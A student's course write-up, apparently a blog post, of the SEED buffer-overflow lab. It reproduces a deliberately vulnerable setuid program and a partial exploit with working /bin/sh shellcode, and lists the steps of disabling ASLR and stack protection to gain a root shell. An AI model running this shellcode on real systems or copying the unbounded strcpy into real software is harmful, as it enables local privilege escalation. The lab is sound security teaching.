1. 程式人生 > >2017-2018-2 20179215《網絡攻防實踐》seed緩沖區溢出實驗

2017-2018-2 20179215《網絡攻防實踐》seed緩沖區溢出實驗

程序 byte UC inux 最大 切換 guard RR 註意

seed緩沖區溢出實驗

有漏洞的程序:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

編譯以上易被攻擊的程序並用 setuid 機制設置其有效執行用戶為 root。你可以通過用root 帳戶編譯並 chmod 可執行到 4755 來實現。

註:以上程序有一個緩沖區溢出漏洞。它一開始從一個叫“badfile”的文件讀了一個輸入,然後將這個輸入傳遞給了另一個 bof()功能裏的緩沖區。原始輸入最大長度為 517 bytes,然而 bof()的長度僅為 12 bytes。由於strcpy()不檢查邊界,將發生緩沖區溢出。由於此程序有效執行用戶root。如果一個普通用戶利用了此緩沖區溢出漏洞,他有可能獲得 root shell。應該註意到此程序是從一個叫做“badfile”的文件獲得輸入的,這個文件受用戶控制。現在我們的目標是為“badfile”創建內容,這樣當這段漏洞程序將此內容復制進它的緩沖區,便產生了一個 shell。

任務:攻擊漏洞

我們提供給你一段部分完成的攻擊代碼“exploit.c”,這段代碼的目的是為“badfile”創建內容。代碼中,shellcode 已經給出,你需要完成其余部分。

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[ ]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

完成以上程序後編譯並運行,它將為“badfile”生成內容。然後運行漏洞程序棧,如果你的攻擊正確實現,你將得到一個shell。

實驗過程:
(1)進入seed系統後,使用 sudo su命令提權:

技術分享圖片

(2)Ubuntu 和其它一些 Linux 系統都 適用了地址空間隨機化機制(ASLR)來隨機變化堆棧的起始地址。這將使猜測精確的地址非常 困難,猜測地址是緩沖區溢出攻擊中關鍵的一步。在這個實驗中,我們使用下面的命令關閉 ASLR:

技術分享圖片

(3)另:GCC 編譯器中實現了一種”Stack Guard”的安全機制來防止緩沖區溢出。你可以關 閉該保護當您編譯時使用-fno-stack-protector。例如,編譯一個叫 example.c 的程序並且不使 用 Stack Guard,你應該使用下面的命令: gcc -fno-stack-protector example.c

不使用Stack Guard機制的GCC編譯stack.c程序,並提權:

技術分享圖片

註意上述操作完成後要切換為普通用戶,終端鍵入:exit:

技術分享圖片

(4)編譯exploit,並執行如下操作,發現成功取得了root shell:

技術分享圖片

(5)使用命令id檢測下,攻擊成功:

技術分享圖片

2017-2018-2 20179215《網絡攻防實踐》seed緩沖區溢出實驗